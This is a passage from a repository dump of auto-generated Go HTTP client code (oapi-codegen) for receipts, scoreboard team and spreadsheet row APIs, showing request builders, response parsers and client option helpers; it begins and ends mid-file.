| 377 | // Status returns HTTPResponse.Status 378 | func (r GetReceiptsResponse) Status() string { 379 | if r.HTTPResponse != nil { 380 | return r.HTTPResponse.Status 381 | } 382 | return http.StatusText(0) 383 | } 384 | 385 | // StatusCode returns HTTPResponse.StatusCode 386 | func (r GetReceiptsResponse) StatusCode() int { 387 | if r.HTTPResponse != nil { 388 | return r.HTTPResponse.StatusCode 389 | } 390 | return 0 391 | } 392 | 393 | type PutReceiptsResponse struct { 394 | Body []byte 395 | HTTPResponse *http.Response 396 | JSON200 *Receipt 397 | JSON201 *Receipt 398 | JSON400 *ErrorResponse 399 | } 400 | 401 | // Status returns HTTPResponse.Status 402 | func (r PutReceiptsResponse) Status() string { 403 | if r.HTTPResponse != nil { 404 | return r.HTTPResponse.Status 405 | } 406 | return http.StatusText(0) 407 | } 408 | 409 | // StatusCode returns HTTPResponse.StatusCode 410 | func (r PutReceiptsResponse) StatusCode() int { 411 | if r.HTTPResponse != nil { 412 | return r.HTTPResponse.StatusCode 413 | } 414 | return 0 415 | } 416 | 417 | type PutVoidReceiptResponse struct { 418 | Body []byte 419 | HTTPResponse *http.Response 420 | } 421 | 422 | // Status returns HTTPResponse.Status 423 | func (r PutVoidReceiptResponse) Status() string { 424 | if r.HTTPResponse != nil { 425 | return r.HTTPResponse.Status 426 | } 427 | return http.StatusText(0) 428 | } 429 | 430 | // StatusCode returns HTTPResponse.StatusCode 431 | func (r PutVoidReceiptResponse) StatusCode() int { 432 | if r.HTTPResponse != nil { 433 | return r.HTTPResponse.StatusCode 434 | } 435 | return 0 436 | } 437 | 438 | // GetReceiptsWithResponse request returning *GetReceiptsResponse 439 | func (c *ClientWithResponses) GetReceiptsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetReceiptsResponse, error) { 440 | rsp, err := c.GetReceipts(ctx, reqEditors...) 441 | if err != nil { 442 | return nil, err 443 | } 444 | return ParseGetReceiptsResponse(rsp) 445 | } 446 | 447 | // PutReceiptsWithBodyWithResponse request with arbitrary body returning *PutReceiptsResponse 448 | func (c *ClientWithResponses) PutReceiptsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutReceiptsResponse, error) { 449 | rsp, err := c.PutReceiptsWithBody(ctx, contentType, body, reqEditors...) 450 | if err != nil { 451 | return nil, err 452 | } 453 | return ParsePutReceiptsResponse(rsp) 454 | } 455 | 456 | func (c *ClientWithResponses) PutReceiptsWithResponse(ctx context.Context, body PutReceiptsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutReceiptsResponse, error) { 457 | rsp, err := c.PutReceipts(ctx, body, reqEditors...) 458 | if err != nil { 459 | return nil, err 460 | } 461 | return ParsePutReceiptsResponse(rsp) 462 | } 463 | 464 | // PutVoidReceiptWithBodyWithResponse request with arbitrary body returning *PutVoidReceiptResponse 465 | func (c *ClientWithResponses) PutVoidReceiptWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutVoidReceiptResponse, error) { 466 | rsp, err := c.PutVoidReceiptWithBody(ctx, contentType, body, reqEditors...) 467 | if err != nil { 468 | return nil, err 469 | } 470 | return ParsePutVoidReceiptResponse(rsp) 471 | } 472 | 473 | func (c *ClientWithResponses) PutVoidReceiptWithResponse(ctx context.Context, body PutVoidReceiptJSONRequestBody, reqEditors ...RequestEditorFn) (*PutVoidReceiptResponse, error) { 474 | rsp, err := c.PutVoidReceipt(ctx, body, reqEditors...) 475 | if err != nil { 476 | return nil, err 477 | } 478 | return ParsePutVoidReceiptResponse(rsp) 479 | } 480 | 481 | // ParseGetReceiptsResponse parses an HTTP response from a GetReceiptsWithResponse call 482 | func ParseGetReceiptsResponse(rsp *http.Response) (*GetReceiptsResponse, error) { 483 | bodyBytes, err := io.ReadAll(rsp.Body) 484 | defer func() { _ = rsp.Body.Close() }() 485 | if err != nil { 486 | return nil, err 487 | } 488 | 489 | response := &GetReceiptsResponse{ 490 | Body: bodyBytes, 491 | HTTPResponse: rsp, 492 | } 493 | 494 | switch { 495 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 496 | var dest []Receipt 497 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 498 | return nil, err 499 | } 500 | response.JSON200 = &dest 501 | 502 | } 503 | 504 | return response, nil 505 | } 506 | 507 | // ParsePutReceiptsResponse parses an HTTP response from a PutReceiptsWithResponse call 508 | func ParsePutReceiptsResponse(rsp *http.Response) (*PutReceiptsResponse, error) { 509 | bodyBytes, err := io.ReadAll(rsp.Body) 510 | defer func() { _ = rsp.Body.Close() }() 511 | if err != nil { 512 | return nil, err 513 | } 514 | 515 | response := &PutReceiptsResponse{ 516 | Body: bodyBytes, 517 | HTTPResponse: rsp, 518 | } 519 | 520 | switch { 521 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 522 | var dest Receipt 523 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 524 | return nil, err 525 | } 526 | response.JSON200 = &dest 527 | 528 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 201: 529 | var dest Receipt 530 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 531 | return nil, err 532 | } 533 | response.JSON201 = &dest 534 | 535 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 400: 536 | var dest ErrorResponse 537 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 538 | return nil, err 539 | } 540 | response.JSON400 = &dest 541 | 542 | } 543 | 544 | return response, nil 545 | } 546 | 547 | // ParsePutVoidReceiptResponse parses an HTTP response from a PutVoidReceiptWithResponse call 548 | func ParsePutVoidReceiptResponse(rsp *http.Response) (*PutVoidReceiptResponse, error) { 549 | bodyBytes, err := io.ReadAll(rsp.Body) 550 | defer func() { _ = rsp.Body.Close() }() 551 | if err != nil { 552 | return nil, err 553 | } 554 | 555 | response := &PutVoidReceiptResponse{ 556 | Body: bodyBytes, 557 | HTTPResponse: rsp, 558 | } 559 | 560 | return response, nil 561 | } 562 | -------------------------------------------------------------------------------- /common/clients/scoreboard/scoreboard.gen.go: -------------------------------------------------------------------------------- 1 | // Package scoreboard provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package scoreboard 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | 16 | "github.com/deepmap/oapi-codegen/pkg/runtime" 17 | ) 18 | 19 | // AddTeamScoreboardRequest defines model for AddTeamScoreboardRequest. 20 | type AddTeamScoreboardRequest struct { 21 | Team string `json:"team"` 22 | } 23 | 24 | // PostTeamsParams defines parameters for PostTeams. 25 | type PostTeamsParams struct { 26 | CorrelationID string `json:"Correlation-ID"` 27 | } 28 | 29 | // PostTeamsJSONRequestBody defines body for PostTeams for application/json ContentType. 30 | type PostTeamsJSONRequestBody = AddTeamScoreboardRequest 31 | 32 | // RequestEditorFn is the function signature for the RequestEditor callback function 33 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 34 | 35 | // Doer performs HTTP requests. 36 | // 37 | // The standard http.Client implements this interface. 38 | type HttpRequestDoer interface { 39 | Do(req *http.Request) (*http.Response, error) 40 | } 41 | 42 | // Client which conforms to the OpenAPI3 specification for this service. 43 | type Client struct { 44 | // The endpoint of the server conforming to this interface, with scheme, 45 | // https://api.deepmap.com for example. This can contain a path relative 46 | // to the server, such as https://api.deepmap.com/dev-test, and all the 47 | // paths in the swagger spec will be appended to the server. 48 | Server string 49 | 50 | // Doer for performing requests, typically a *http.Client with any 51 | // customized settings, such as certificate chains. 52 | Client HttpRequestDoer 53 | 54 | // A list of callbacks for modifying requests which are generated before sending over 55 | // the network. 56 | RequestEditors []RequestEditorFn 57 | } 58 | 59 | // ClientOption allows setting custom parameters during construction 60 | type ClientOption func(*Client) error 61 | 62 | // Creates a new Client, with reasonable defaults 63 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 64 | // create a client with sane default values 65 | client := Client{ 66 | Server: server, 67 | } 68 | // mutate client and add all optional params 69 | for _, o := range opts { 70 | if err := o(&client); err != nil { 71 | return nil, err 72 | } 73 | } 74 | // ensure the server URL always has a trailing slash 75 | if !strings.HasSuffix(client.Server, "/") { 76 | client.Server += "/" 77 | } 78 | // create httpClient, if not already present 79 | if client.Client == nil { 80 | client.Client = &http.Client{} 81 | } 82 | return &client, nil 83 | } 84 | 85 | // WithHTTPClient allows overriding the default Doer, which is 86 | // automatically created using http.Client. This is useful for tests. 87 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 88 | return func(c *Client) error { 89 | c.Client = doer 90 | return nil 91 | } 92 | } 93 | 94 | // WithRequestEditorFn allows setting up a callback function, which will be 95 | // called right before sending the request. This can be used to mutate the request. 96 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 97 | return func(c *Client) error { 98 | c.RequestEditors = append(c.RequestEditors, fn) 99 | return nil 100 | } 101 | } 102 | 103 | // The interface specification for the client above. 104 | type ClientInterface interface { 105 | // GetTeams request 106 | GetTeams(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 107 | 108 | // PostTeams request with any body 109 | PostTeamsWithBody(ctx context.Context, params *PostTeamsParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 110 | 111 | PostTeams(ctx context.Context, params *PostTeamsParams, body PostTeamsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 112 | } 113 | 114 | func (c *Client) GetTeams(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 115 | req, err := NewGetTeamsRequest(c.Server) 116 | if err != nil { 117 | return nil, err 118 | } 119 | req = req.WithContext(ctx) 120 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 121 | return nil, err 122 | } 123 | return c.Client.Do(req) 124 | } 125 | 126 | func (c *Client) PostTeamsWithBody(ctx context.Context, params *PostTeamsParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 127 | req, err := NewPostTeamsRequestWithBody(c.Server, params, contentType, body) 128 | if err != nil { 129 | return nil, err 130 | } 131 | req = req.WithContext(ctx) 132 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 133 | return nil, err 134 | } 135 | return c.Client.Do(req) 136 | } 137 | 138 | func (c *Client) PostTeams(ctx context.Context, params *PostTeamsParams, body PostTeamsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 139 | req, err := NewPostTeamsRequest(c.Server, params, body) 140 | if err != nil { 141 | return nil, err 142 | } 143 | req = req.WithContext(ctx) 144 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 145 | return nil, err 146 | } 147 | return c.Client.Do(req) 148 | } 149 | 150 | // NewGetTeamsRequest generates requests for GetTeams 151 | func NewGetTeamsRequest(server string) (*http.Request, error) { 152 | var err error 153 | 154 | serverURL, err := url.Parse(server) 155 | if err != nil { 156 | return nil, err 157 | } 158 | 159 | operationPath := fmt.Sprintf("/teams") 160 | if operationPath[0] == '/' { 161 | operationPath = "." + operationPath 162 | } 163 | 164 | queryURL, err := serverURL.Parse(operationPath) 165 | if err != nil { 166 | return nil, err 167 | } 168 | 169 | req, err := http.NewRequest("GET", queryURL.String(), nil) 170 | if err != nil { 171 | return nil, err 172 | } 173 | 174 | return req, nil 175 | } 176 | 177 | // NewPostTeamsRequest calls the generic PostTeams builder with application/json body 178 | func NewPostTeamsRequest(server string, params *PostTeamsParams, body PostTeamsJSONRequestBody) (*http.Request, error) { 179 | var bodyReader io.Reader 180 | buf, err := json.Marshal(body) 181 | if err != nil { 182 | return nil, err 183 | } 184 | bodyReader = bytes.NewReader(buf) 185 | return NewPostTeamsRequestWithBody(server, params, "application/json", bodyReader) 186 | } 187 | 188 | // NewPostTeamsRequestWithBody generates requests for PostTeams with any type of body 189 | func NewPostTeamsRequestWithBody(server string, params *PostTeamsParams, contentType string, body io.Reader) (*http.Request, error) { 190 | var err error 191 | 192 | serverURL, err := url.Parse(server) 193 | if err != nil { 194 | return nil, err 195 | } 196 | 197 | operationPath := fmt.Sprintf("/teams") 198 | if operationPath[0] == '/' { 199 | operationPath = "." + operationPath 200 | } 201 | 202 | queryURL, err := serverURL.Parse(operationPath) 203 | if err != nil { 204 | return nil, err 205 | } 206 | 207 | req, err := http.NewRequest("POST", queryURL.String(), body) 208 | if err != nil { 209 | return nil, err 210 | } 211 | 212 | req.Header.Add("Content-Type", contentType) 213 | 214 | var headerParam0 string 215 | 216 | headerParam0, err = runtime.StyleParamWithLocation("simple", false, "Correlation-ID", runtime.ParamLocationHeader, params.CorrelationID) 217 | if err != nil { 218 | return nil, err 219 | } 220 | 221 | req.Header.Set("Correlation-ID", headerParam0) 222 | 223 | return req, nil 224 | } 225 | 226 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 227 | for _, r := range c.RequestEditors { 228 | if err := r(ctx, req); err != nil { 229 | return err 230 | } 231 | } 232 | for _, r := range additionalEditors { 233 | if err := r(ctx, req); err != nil { 234 | return err 235 | } 236 | } 237 | return nil 238 | } 239 | 240 | // ClientWithResponses builds on ClientInterface to offer response payloads 241 | type ClientWithResponses struct { 242 | ClientInterface 243 | } 244 | 245 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 246 | // Client with return type handling 247 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 248 | client, err := NewClient(server, opts...) 249 | if err != nil { 250 | return nil, err 251 | } 252 | return &ClientWithResponses{client}, nil 253 | } 254 | 255 | // WithBaseURL overrides the baseURL. 256 | func WithBaseURL(baseURL string) ClientOption { 257 | return func(c *Client) error { 258 | newBaseURL, err := url.Parse(baseURL) 259 | if err != nil { 260 | return err 261 | } 262 | c.Server = newBaseURL.String() 263 | return nil 264 | } 265 | } 266 | 267 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 268 | type ClientWithResponsesInterface interface { 269 | // GetTeams request 270 | GetTeamsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetTeamsResponse, error) 271 | 272 | // PostTeams request with any body 273 | PostTeamsWithBodyWithResponse(ctx context.Context, params *PostTeamsParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostTeamsResponse, error) 274 | 275 | PostTeamsWithResponse(ctx context.Context, params *PostTeamsParams, body PostTeamsJSONRequestBody, reqEditors ...RequestEditorFn) (*PostTeamsResponse, error) 276 | } 277 | 278 | type GetTeamsResponse struct { 279 | Body []byte 280 | HTTPResponse *http.Response 281 | JSON200 *map[string]string 282 | } 283 | 284 | // Status returns HTTPResponse.Status 285 | func (r GetTeamsResponse) Status() string { 286 | if r.HTTPResponse != nil { 287 | return r.HTTPResponse.Status 288 | } 289 | return http.StatusText(0) 290 | } 291 | 292 | // StatusCode returns HTTPResponse.StatusCode 293 | func (r GetTeamsResponse) StatusCode() int { 294 | if r.HTTPResponse != nil { 295 | return r.HTTPResponse.StatusCode 296 | } 297 | return 0 298 | } 299 | 300 | type PostTeamsResponse struct { 301 | Body []byte 302 | HTTPResponse *http.Response 303 | } 304 | 305 | // Status returns HTTPResponse.Status 306 | func (r PostTeamsResponse) Status() string { 307 | if r.HTTPResponse != nil { 308 | return r.HTTPResponse.Status 309 | } 310 | return http.StatusText(0) 311 | } 312 | 313 | // StatusCode returns HTTPResponse.StatusCode 314 | func (r PostTeamsResponse) StatusCode() int { 315 | if r.HTTPResponse != nil { 316 | return r.HTTPResponse.StatusCode 317 | } 318 | return 0 319 | } 320 | 321 | // GetTeamsWithResponse request returning *GetTeamsResponse 322 | func (c *ClientWithResponses) GetTeamsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetTeamsResponse, error) { 323 | rsp, err := c.GetTeams(ctx, reqEditors...) 324 | if err != nil { 325 | return nil, err 326 | } 327 | return ParseGetTeamsResponse(rsp) 328 | } 329 | 330 | // PostTeamsWithBodyWithResponse request with arbitrary body returning *PostTeamsResponse 331 | func (c *ClientWithResponses) PostTeamsWithBodyWithResponse(ctx context.Context, params *PostTeamsParams, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostTeamsResponse, error) { 332 | rsp, err := c.PostTeamsWithBody(ctx, params, contentType, body, reqEditors...) 333 | if err != nil { 334 | return nil, err 335 | } 336 | return ParsePostTeamsResponse(rsp) 337 | } 338 | 339 | func (c *ClientWithResponses) PostTeamsWithResponse(ctx context.Context, params *PostTeamsParams, body PostTeamsJSONRequestBody, reqEditors ...RequestEditorFn) (*PostTeamsResponse, error) { 340 | rsp, err := c.PostTeams(ctx, params, body, reqEditors...) 341 | if err != nil { 342 | return nil, err 343 | } 344 | return ParsePostTeamsResponse(rsp) 345 | } 346 | 347 | // ParseGetTeamsResponse parses an HTTP response from a GetTeamsWithResponse call 348 | func ParseGetTeamsResponse(rsp *http.Response) (*GetTeamsResponse, error) { 349 | bodyBytes, err := io.ReadAll(rsp.Body) 350 | defer func() { _ = rsp.Body.Close() }() 351 | if err != nil { 352 | return nil, err 353 | } 354 | 355 | response := &GetTeamsResponse{ 356 | Body: bodyBytes, 357 | HTTPResponse: rsp, 358 | } 359 | 360 | switch { 361 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 362 | var dest map[string]string 363 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 364 | return nil, err 365 | } 366 | response.JSON200 = &dest 367 | 368 | } 369 | 370 | return response, nil 371 | } 372 | 373 | // ParsePostTeamsResponse parses an HTTP response from a PostTeamsWithResponse call 374 | func ParsePostTeamsResponse(rsp *http.Response) (*PostTeamsResponse, error) { 375 | bodyBytes, err := io.ReadAll(rsp.Body) 376 | defer func() { _ = rsp.Body.Close() }() 377 | if err != nil { 378 | return nil, err 379 | } 380 | 381 | response := &PostTeamsResponse{ 382 | Body: bodyBytes, 383 | HTTPResponse: rsp, 384 | } 385 | 386 | return response, nil 387 | } 388 | -------------------------------------------------------------------------------- /common/clients/spreadsheets/spreadsheets.gen.go: -------------------------------------------------------------------------------- 1 | // Package spreadsheets provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package spreadsheets 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | 16 | "github.com/deepmap/oapi-codegen/pkg/runtime" 17 | ) 18 | 19 | // SpreadsheetRow defines model for SpreadsheetRow. 20 | type SpreadsheetRow = []string 21 | 22 | // SpreadsheetRows defines model for SpreadsheetRows. 23 | type SpreadsheetRows struct { 24 | Rows []SpreadsheetRow `json:"rows"` 25 | } 26 | 27 | // PostSheetsSheetRowsJSONBody defines parameters for PostSheetsSheetRows. 28 | type PostSheetsSheetRowsJSONBody struct { 29 | Columns SpreadsheetRow `json:"columns"` 30 | } 31 | 32 | // PostSheetsSheetRowsJSONRequestBody defines body for PostSheetsSheetRows for application/json ContentType. 33 | type PostSheetsSheetRowsJSONRequestBody PostSheetsSheetRowsJSONBody 34 | 35 | // RequestEditorFn is the function signature for the RequestEditor callback function 36 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 37 | 38 | // Doer performs HTTP requests. 39 | // 40 | // The standard http.Client implements this interface. 41 | type HttpRequestDoer interface { 42 | Do(req *http.Request) (*http.Response, error) 43 | } 44 | 45 | // Client which conforms to the OpenAPI3 specification for this service. 46 | type Client struct { 47 | // The endpoint of the server conforming to this interface, with scheme, 48 | // https://api.deepmap.com for example. This can contain a path relative 49 | // to the server, such as https://api.deepmap.com/dev-test, and all the 50 | // paths in the swagger spec will be appended to the server. 51 | Server string 52 | 53 | // Doer for performing requests, typically a *http.Client with any 54 | // customized settings, such as certificate chains. 55 | Client HttpRequestDoer 56 | 57 | // A list of callbacks for modifying requests which are generated before sending over 58 | // the network. 59 | RequestEditors []RequestEditorFn 60 | } 61 | 62 | // ClientOption allows setting custom parameters during construction 63 | type ClientOption func(*Client) error 64 | 65 | // Creates a new Client, with reasonable defaults 66 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 67 | // create a client with sane default values 68 | client := Client{ 69 | Server: server, 70 | } 71 | // mutate client and add all optional params 72 | for _, o := range opts { 73 | if err := o(&client); err != nil { 74 | return nil, err 75 | } 76 | } 77 | // ensure the server URL always has a trailing slash 78 | if !strings.HasSuffix(client.Server, "/") { 79 | client.Server += "/" 80 | } 81 | // create httpClient, if not already present 82 | if client.Client == nil { 83 | client.Client = &http.Client{} 84 | } 85 | return &client, nil 86 | } 87 | 88 | // WithHTTPClient allows overriding the default Doer, which is 89 | // automatically created using http.Client. This is useful for tests. 90 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 91 | return func(c *Client) error { 92 | c.Client = doer 93 | return nil 94 | } 95 | } 96 | 97 | // WithRequestEditorFn allows setting up a callback function, which will be 98 | // called right before sending the request. This can be used to mutate the request. 99 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 100 | return func(c *Client) error { 101 | c.RequestEditors = append(c.RequestEditors, fn) 102 | return nil 103 | } 104 | } 105 | 106 | // The interface specification for the client above. 107 | type ClientInterface interface { 108 | // GetSheetsSheetRows request 109 | GetSheetsSheetRows(ctx context.Context, sheet string, reqEditors ...RequestEditorFn) (*http.Response, error) 110 | 111 | // PostSheetsSheetRows request with any body 112 | PostSheetsSheetRowsWithBody(ctx context.Context, sheet string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 113 | 114 | PostSheetsSheetRows(ctx context.Context, sheet string, body PostSheetsSheetRowsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 115 | } 116 | 117 | func (c *Client) GetSheetsSheetRows(ctx context.Context, sheet string, reqEditors ...RequestEditorFn) (*http.Response, error) { 118 | req, err := NewGetSheetsSheetRowsRequest(c.Server, sheet) 119 | if err != nil { 120 | return nil, err 121 | } 122 | req = req.WithContext(ctx) 123 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 124 | return nil, err 125 | } 126 | return c.Client.Do(req) 127 | } 128 | 129 | func (c *Client) PostSheetsSheetRowsWithBody(ctx context.Context, sheet string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 130 | req, err := NewPostSheetsSheetRowsRequestWithBody(c.Server, sheet, contentType, body) 131 | if err != nil { 132 | return nil, err 133 | } 134 | req = req.WithContext(ctx) 135 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 136 | return nil, err 137 | } 138 | return c.Client.Do(req) 139 | } 140 | 141 | func (c *Client) PostSheetsSheetRows(ctx context.Context, sheet string, body PostSheetsSheetRowsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 142 | req, err := NewPostSheetsSheetRowsRequest(c.Server, sheet, body) 143 | if err != nil { 144 | return nil, err 145 | } 146 | req = req.WithContext(ctx) 147 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 148 | return nil, err 149 | } 150 | return c.Client.Do(req) 151 | } 152 | 153 | // NewGetSheetsSheetRowsRequest generates requests for GetSheetsSheetRows 154 | func NewGetSheetsSheetRowsRequest(server string, sheet string) (*http.Request, error) { 155 | var err error 156 | 157 | var pathParam0 string 158 | 159 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "sheet", runtime.ParamLocationPath, sheet) 160 | if err != nil { 161 | return nil, err 162 | } 163 | 164 | serverURL, err := url.Parse(server) 165 | if err != nil { 166 | return nil, err 167 | } 168 | 169 | operationPath := fmt.Sprintf("/sheets/%s/rows", pathParam0) 170 | if operationPath[0] == '/' { 171 | operationPath = "." + operationPath 172 | } 173 | 174 | queryURL, err := serverURL.Parse(operationPath) 175 | if err != nil { 176 | return nil, err 177 | } 178 | 179 | req, err := http.NewRequest("GET", queryURL.String(), nil) 180 | if err != nil { 181 | return nil, err 182 | } 183 | 184 | return req, nil 185 | } 186 | 187 | // NewPostSheetsSheetRowsRequest calls the generic PostSheetsSheetRows builder with application/json body 188 | func NewPostSheetsSheetRowsRequest(server string, sheet string, body PostSheetsSheetRowsJSONRequestBody) (*http.Request, error) { 189 | var bodyReader io.Reader 190 | buf, err := json.Marshal(body) 191 | if err != nil { 192 | return nil, err 193 | } 194 | bodyReader = bytes.NewReader(buf) 195 | return NewPostSheetsSheetRowsRequestWithBody(server, sheet, "application/json", bodyReader) 196 | } 197 | 198 | // NewPostSheetsSheetRowsRequestWithBody generates requests for PostSheetsSheetRows with any type of body 199 | func NewPostSheetsSheetRowsRequestWithBody(server string, sheet string, contentType string, body io.Reader) (*http.Request, error) { 200 | var err error 201 | 202 | var pathParam0 string 203 | 204 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "sheet", runtime.ParamLocationPath, sheet) 205 | if err != nil { 206 | return nil, err 207 | } 208 | 209 | serverURL, err := url.Parse(server) 210 | if err != nil { 211 | return nil, err 212 | } 213 | 214 | operationPath := fmt.Sprintf("/sheets/%s/rows", pathParam0) 215 | if operationPath[0] == '/' { 216 | operationPath = "." + operationPath 217 | } 218 | 219 | queryURL, err := serverURL.Parse(operationPath) 220 | if err != nil { 221 | return nil, err 222 | } 223 | 224 | req, err := http.NewRequest("POST", queryURL.String(), body) 225 | if err != nil { 226 | return nil, err 227 | } 228 | 229 | req.Header.Add("Content-Type", contentType) 230 | 231 | return req, nil 232 | } 233 | 234 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 235 | for _, r := range c.RequestEditors { 236 | if err := r(ctx, req); err != nil { 237 | return err 238 | } 239 | } 240 | for _, r := range additionalEditors { 241 | if err := r(ctx, req); err != nil { 242 | return err 243 | } 244 | } 245 | return nil 246 | } 247 | 248 | // ClientWithResponses builds on ClientInterface to offer response payloads 249 | type ClientWithResponses struct { 250 | ClientInterface 251 | } 252 | 253 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 254 | // Client with return type handling 255 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 256 | client, err := NewClient(server, opts...) 257 | if err != nil { 258 | return nil, err 259 | } 260 | return &ClientWithResponses{client}, nil 261 | } 262 | 263 | // WithBaseURL overrides the baseURL. 264 | func WithBaseURL(baseURL string) ClientOption { 265 | return func(c *Client) error { 266 | newBaseURL, err := url.Parse(baseURL) 267 | if err != nil { 268 | return err 269 | } 270 | c.Server = newBaseURL.String() 271 | return nil 272 | } 273 | } 274 | 275 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 276 | type ClientWithResponsesInterface interface { 277 | // GetSheetsSheetRows request 278 | GetSheetsSheetRowsWithResponse(ctx context.Context, sheet string, reqEditors ...RequestEditorFn) (*GetSheetsSheetRowsResponse, error) 279 | 280 | // PostSheetsSheetRows request with any body 281 | PostSheetsSheetRowsWithBodyWithResponse(ctx context.Context, sheet string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostSheetsSheetRowsResponse, error) 282 | 283 | PostSheetsSheetRowsWithResponse(ctx context.Context, sheet string, body PostSheetsSheetRowsJSONRequestBody, reqEditors ...RequestEditorFn) (*PostSheetsSheetRowsResponse, error) 284 | } 285 | 286 | type GetSheetsSheetRowsResponse struct { 287 | Body []byte 288 | HTTPResponse *http.Response 289 | JSON200 *SpreadsheetRows 290 | } 291 | 292 | // Status returns HTTPResponse.Status 293 | func (r GetSheetsSheetRowsResponse) Status() string { 294 | if r.HTTPResponse != nil { 295 | return r.HTTPResponse.Status 296 | } 297 | return http.StatusText(0) 298 | } 299 | 300 | // StatusCode returns HTTPResponse.StatusCode 301 | func (r GetSheetsSheetRowsResponse) StatusCode() int { 302 | if r.HTTPResponse != nil { 303 | return r.HTTPResponse.StatusCode 304 | } 305 | return 0 306 | } 307 | 308 | type PostSheetsSheetRowsResponse struct { 309 | Body []byte 310 | HTTPResponse *http.Response 311 | } 312 | 313 | // Status returns HTTPResponse.Status 314 | func (r PostSheetsSheetRowsResponse) Status() string { 315 | if r.HTTPResponse != nil { 316 | return r.HTTPResponse.Status 317 | } 318 | return http.StatusText(0) 319 | } 320 | 321 | // StatusCode returns HTTPResponse.StatusCode 322 | func (r PostSheetsSheetRowsResponse) StatusCode() int { 323 | if r.HTTPResponse != nil { 324 | return r.HTTPResponse.StatusCode 325 | } 326 | return 0 327 | } 328 | 329 | // GetSheetsSheetRowsWithResponse request returning *GetSheetsSheetRowsResponse 330 | func (c *ClientWithResponses) GetSheetsSheetRowsWithResponse(ctx context.Context, sheet string, reqEditors ...RequestEditorFn) (*GetSheetsSheetRowsResponse, error) { 331 | rsp, err := c.GetSheetsSheetRows(ctx, sheet, reqEditors...) 332 | if err != nil { 333 | return nil, err 334 | } 335 | return ParseGetSheetsSheetRowsResponse(rsp) 336 | } 337 | 338 | // PostSheetsSheetRowsWithBodyWithResponse request with arbitrary body returning *PostSheetsSheetRowsResponse 339 | func (c *ClientWithResponses) PostSheetsSheetRowsWithBodyWithResponse(ctx context.Context, sheet string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PostSheetsSheetRowsResponse, error) { 340 | rsp, err := c.PostSheetsSheetRowsWithBody(ctx, sheet, contentType, body, reqEditors...) 341 | if err != nil { 342 | return nil, err 343 | } 344 | return ParsePostSheetsSheetRowsResponse(rsp) 345 | } 346 | 347 | func (c *ClientWithResponses) PostSheetsSheetRowsWithResponse(ctx context.Context, sheet string, body PostSheetsSheetRowsJSONRequestBody, reqEditors ...RequestEditorFn) (*PostSheetsSheetRowsResponse, error) { 348 | rsp, err := c.PostSheetsSheetRows(ctx, sheet, body, reqEditors...) 349 | if err != nil { 350 | 